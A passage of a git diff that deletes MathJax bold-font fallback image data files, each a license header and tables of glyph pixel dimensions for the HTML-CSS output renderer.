deleted file mode 100644
index 62f4c070..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GeometricShapes.js
+++ /dev/null
@@ -1,53 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GeometricShapes.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x25B3: [  // WHITE UP-POINTING TRIANGLE
-      [7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],[16,12,0],[19,14,0],[23,17,0],
-      [27,20,0],[32,24,0],[38,28,0],[45,34,0],[53,40,0],[63,47,0]
-    ],
-    0x25B9: [  // WHITE RIGHT-POINTING SMALL TRIANGLE
-      [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[10,10,1],[11,12,1],[13,14,1],
-      [15,17,2],[18,20,2],[22,24,2],[25,28,2],[30,33,3],[36,39,3]
-    ],
-    0x25BD: [  // WHITE DOWN-POINTING TRIANGLE
-      [7,6,2],[8,7,2],[10,8,3],[12,9,3],[14,10,3],[16,13,4],[19,14,4],[23,18,6],
-      [27,20,6],[32,25,8],[38,29,9],[45,34,10],[53,40,12],[63,47,14]
-    ],
-    0x25C3: [  // WHITE LEFT-POINTING SMALL TRIANGLE
-      [4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[9,10,1],[11,12,1],[13,14,1],
-      [15,17,2],[18,20,2],[22,24,2],[26,28,2],[30,33,3],[36,39,3]
-    ],
-    0x25EF: [  // LARGE CIRCLE
-      [8,7,2],[9,8,2],[11,9,2],[13,12,3],[15,13,3],[18,16,4],[22,19,5],[26,22,5],
-      [30,26,6],[36,31,7],[43,37,9],[51,44,10],[60,52,12],[72,61,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeometricShapes.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GreekAndCoptic.js
deleted file mode 100644
index 5ebd5a0f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/GreekAndCoptic.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/GreekAndCoptic.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[30,32,0],[36,38,0],[43,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[28,27,0],[34,31,0],[40,37,0],[48,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Latin1Supplement.js
deleted file mode 100644
index 04212483..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Latin1Supplement.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Latin1Supplement.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0xA8: [  // DIAERESIS
-      [4,2,-3],[4,2,-4],[5,2,-6],[6,2,-6],[7,3,-6],[8,3,-9],[10,4,-10],[12,4,-13],
-      [14,5,-15],[16,6,-17],[19,7,-21],[23,8,-24],[27,9,-29],[32,11,-35]
-    ],
-    0xAC: [  // NOT SIGN
-      [5,3,0],[6,3,-1],[7,4,0],[9,4,0],[10,5,0],[12,6,-1],[14,8,0],[17,9,-1],
-      [20,9,-2],[24,11,-2],[28,13,-2],[33,15,-2],[39,18,-3],[47,22,-4]
-    ],
-    0xAF: [  // MACRON
-      [4,1,-3],[5,1,-5],[5,1,-6],[6,1,-6],[7,1,-7],[9,2,-9],[10,3,-10],[12,2,-13],
-      [14,2,-16],[17,3,-18],[20,3,-22],[23,4,-25],[28,4,-30],[33,5,-36]
-    ],
-    0xB0: [  // DEGREE SIGN
-      [3,1,-4],[4,2,-4],[5,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[9,3,-11],[10,4,-13],
-      [12,6,-14],[14,6,-17],[17,7,-21],[20,8,-24],[23,9,-29],[28,11,-35]
-    ],
-    0xB1: [  // PLUS-MINUS SIGN
-      [6,6,1],[7,8,1],[9,9,1],[10,9,1],[12,11,1],[14,15,1],[17,16,2],[20,20,2],
-      [23,22,1],[28,26,1],[33,31,1],[39,36,2],[46,42,2],[55,51,2]
-    ],
-    0xB4: [  // ACUTE ACCENT
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-5],[7,3,-6],[8,4,-8],[9,5,-9],[11,5,-12],
-      [13,6,-14],[16,7,-16],[18,9,-19],[22,10,-23],[26,12,-27],[31,14,-33]
-    ],
-    0xD7: [  // MULTIPLICATION SIGN
-      [6,4,0],[7,5,0],[8,7,0],[9,7,0],[11,8,0],[13,10,0],[15,12,0],[17,14,1],
-      [21,17,1],[24,19,1],[29,23,1],[34,26,1],[41,31,2],[48,37,2]
-    ],
-    0xF7: [  // DIVISION SIGN
-      [6,6,1],[7,6,1],[9,8,1],[10,8,1],[12,9,1],[14,12,2],[17,14,2],[20,17,2],
-      [23,20,3],[28,23,3],[33,28,4],[39,32,4],[46,39,5],[55,46,6]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedA.js
deleted file mode 100644
index 1b9fbb58..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedA.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],
-      [11,13,0],[12,15,0],[15,18,0],[17,21,0],[21,25,0],[24,30,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedB.js
deleted file mode 100644
index 9c76cf16..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LatinExtendedB.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LatinExtendedB.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [4,4,1],[5,6,2],[6,7,2],[6,7,2],[7,9,3],[8,11,3],[10,13,4],[11,16,5],
-      [13,19,6],[15,21,6],[18,26,8],[21,30,9],[25,36,11],[29,43,13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LetterlikeSymbols.js
deleted file mode 100644
index 2595e842..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/LetterlikeSymbols.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/LetterlikeSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x210F: [  // stix-/hbar - Planck's over 2pi
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,15,1],[15,17,1],
-      [18,20,1],[22,24,1],[25,28,1],[30,34,1],[36,39,1],[42,47,1]
-    ],
-    0x2111: [  // BLACK-LETTER CAPITAL I
-      [6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,21,1],[27,25,1],[32,29,1],[38,34,1],[45,40,1],[53,48,1]
-    ],
-    0x2113: [  // SCRIPT SMALL L
-      [3,5,0],[4,6,0],[5,7,0],[6,9,0],[7,11,1],[8,13,1],[9,15,1],[11,18,1],
-      [13,21,1],[15,25,1],[18,29,1],[21,34,1],[25,41,2],[30,49,2]
-    ],
-    0x2118: [  // SCRIPT CAPITAL P
-      [5,6,2],[6,6,2],[8,7,2],[9,9,3],[11,10,3],[13,12,4],[14,14,5],[17,16,5],
-      [21,19,6],[24,23,7],[29,27,9],[34,32,10],[41,38,12],[48,45,14]
-    ],
-    0x211C: [  // BLACK-LETTER CAPITAL R
-      [6,5,0],[7,6,0],[8,7,0],[10,10,1],[12,11,1],[14,13,1],[17,15,1],[20,18,1],
-      [23,21,1],[28,25,1],[32,29,1],[39,34,1],[46,42,2],[55,49,2]
-    ],
-    0x2135: [  // ALEF SYMBOL
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[30,33,0],[36,39,0],[42,46,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Main.js
deleted file mode 100644
index 800c5a81..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/Main.js
+++ /dev/null
@@ -1,457 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,5,0],[3,6,0],[3,8,0],[4,8,0],[4,9,0],[5,12,0],[6,14,0],[7,17,0],
-      [8,20,0],[9,23,0],[11,28,0],[13,32,0],[15,39,0],[18,47,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [4,3,-2],[5,4,-2],[5,4,-4],[6,4,-4],[7,5,-4],[9,7,-5],[10,8,-6],[12,9,-8],
-      [14,11,-9],[17,13,-10],[20,15,-13],[23,17,-15],[28,20,-18],[33,25,-21]
-    ],
-    0x23: [  // NUMBER SIGN
-      [7,6,1],[8,8,2],[9,10,2],[11,10,2],[13,12,3],[15,15,3],[18,18,4],[21,22,5],
-      [25,26,6],[30,29,6],[35,36,8],[42,41,9],[50,49,11],[59,59,13]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,1],[5,8,1],[5,9,1],[6,9,1],[8,11,1],[9,15,1],[10,17,2],[12,20,1],
-      [15,24,2],[17,27,2],[20,33,3],[24,38,3],[29,45,3],[34,54,4]
-    ],
-    0x25: [  // PERCENT SIGN
-      [7,6,1],[8,8,1],[9,9,1],[11,9,1],[13,11,1],[15,14,1],[18,16,1],[21,21,2],
-      [25,24,2],[30,27,2],[35,32,2],[42,38,3],[50,45,3],[59,54,4]
-    ],
-    0x26: [  // AMPERSAND
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[33,28,0],[39,32,0],[47,38,0],[55,46,0]
-    ],
-    0x27: [  // APOSTROPHE
-      [2,3,-2],[3,4,-2],[3,4,-4],[4,4,-4],[4,5,-4],[5,7,-5],[6,8,-6],[7,9,-8],
-      [8,11,-9],[9,13,-10],[11,15,-13],[13,17,-15],[15,20,-18],[18,25,-21]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,7,2],[4,9,2],[4,12,3],[5,12,3],[6,14,3],[7,18,4],[8,20,5],[9,25,6],
-      [11,29,7],[13,34,8],[15,40,10],[18,47,12],[22,56,14],[25,67,17]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[3,9,2],[4,12,3],[5,12,3],[5,14,3],[6,18,4],[7,20,5],[8,25,6],
-      [10,29,7],[12,34,8],[14,40,10],[16,47,12],[19,56,14],[23,67,17]
-    ],
-    0x2A: [  // ASTERISK
-      [4,3,-2],[5,4,-3],[5,5,-3],[6,5,-3],[7,6,-4],[9,8,-5],[10,9,-6],[12,11,-7],
-      [14,13,-9],[17,15,-10],[20,18,-12],[24,21,-14],[28,25,-17],[33,30,-20]
-    ],
-    0x2B: [  // PLUS SIGN
-      [6,6,1],[7,7,1],[9,9,1],[10,9,1],[12,11,2],[14,14,2],[17,16,3],[20,19,3],
-      [23,22,4],[28,26,4],[33,31,5],[39,36,6],[46,43,7],[55,51,9]
-    ],
-    0x2C: [  // COMMA
-      [2,3,1],[3,4,2],[3,4,2],[4,4,2],[4,6,3],[5,7,3],[6,8,4],[6,10,5],
-      [8,11,6],[9,12,6],[11,15,8],[12,17,9],[15,21,11],[17,25,13]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [3,1,-1],[3,1,-1],[4,3,-1],[4,3,-1],[5,3,-2],[6,2,-3],[7,3,-3],[8,3,-4],
-      [9,4,-5],[11,4,-6],[13,5,-7],[15,6,-8],[18,7,-9],[21,8,-11]
-    ],
-    0x2E: [  // FULL STOP
-      [2,2,0],[3,2,0],[3,2,0],[3,2,0],[4,3,0],[5,4,0],[5,4,0],[6,5,0],
-      [7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,7,2],[5,9,2],[5,11,3],[6,11,3],[8,14,3],[9,18,4],[10,20,5],[12,25,6],
-      [15,29,7],[17,33,8],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-      [15,20,0],[18,22,0],[21,26,0],[25,31,0],[30,37,0],[35,44,0]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,5,0],[5,6,0],[5,7,0],[6,8,0],[7,9,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,22,0],[20,26,0],[23,31,0],[28,36,0],[33,44,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,5,0],[5,6,0],[6,7,0],[7,7,0],[8,9,0],[9,12,0],[11,14,0],[12,16,0],
-      [15,19,0],[18,22,0],[21,26,0],[25,30,0],[29,36,0],[35,44,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-      [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,0],[5,7,1],[6,8,1],[7,9,1],[8,10,1],[9,13,1],[11,14,1],[13,17,1],
-      [15,20,1],[18,23,1],[22,27,1],[26,32,1],[30,37,1],[36,45,1]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[12,16,0],
-      [15,19,0],[18,23,0],[21,27,0],[25,31,0],[29,37,0],[35,45,0]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-      [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,5,0],[5,7,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,27,0],[26,32,0],[31,38,0],[37,45,0]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-      [15,19,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,13,0],[13,17,0],
-      [15,20,0],[18,22,0],[21,27,0],[25,31,0],[30,37,0],[35,44,0]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],
-      [7,13,0],[9,15,0],[10,18,0],[12,21,0],[14,25,0],[17,30,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,4,1],[3,6,2],[3,7,2],[3,7,2],[4,9,3],[5,11,3],[5,13,4],[6,16,5],
-      [7,19,6],[9,21,6],[10,26,8],[12,30,9],[14,36,11],[17,43,13]
-    ],
-    0x3C: [  // LESS-THAN SIGN
-      [6,5,1],[7,6,1],[8,8,1],[10,8,1],[12,9,1],[14,12,1],[16,14,2],[19,17,2],
-      [23,20,2],[27,23,3],[32,27,3],[38,32,4],[45,38,5],[53,45,6]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [6,2,0],[7,3,-1],[9,3,-1],[10,3,-1],[12,4,-1],[14,6,-1],[17,6,-1],[20,8,-2],
-      [23,8,-3],[28,9,-4],[33,12,-4],[39,13,-5],[46,16,-6],[55,19,-7]
-    ],
-    0x3E: [  // GREATER-THAN SIGN
-      [6,5,1],[7,6,1],[8,8,1],[10,8,1],[11,9,1],[14,12,1],[16,14,2],[19,17,2],
-      [22,20,2],[27,23,3],[32,27,3],[37,32,4],[45,38,5],[53,45,6]
-    ],
-    0x3F: [  // QUESTION MARK
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[10,14,0],[11,17,0],
-      [14,20,0],[16,23,0],[19,28,0],[23,32,0],[27,38,0],[32,46,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,20,0],[25,23,0],[30,28,0],[36,32,0],[42,38,0],[50,46,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[46,38,0],[54,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,28,0],[34,32,0],[40,38,0],[48,46,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,17,0],
-      [19,20,0],[23,23,0],[27,28,0],[32,32,0],[38,38,0],[45,46,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[34,28,0],[40,33,1],[47,39,1],[56,47,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [3,5,0],[4,6,0],[5,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[10,17,0],
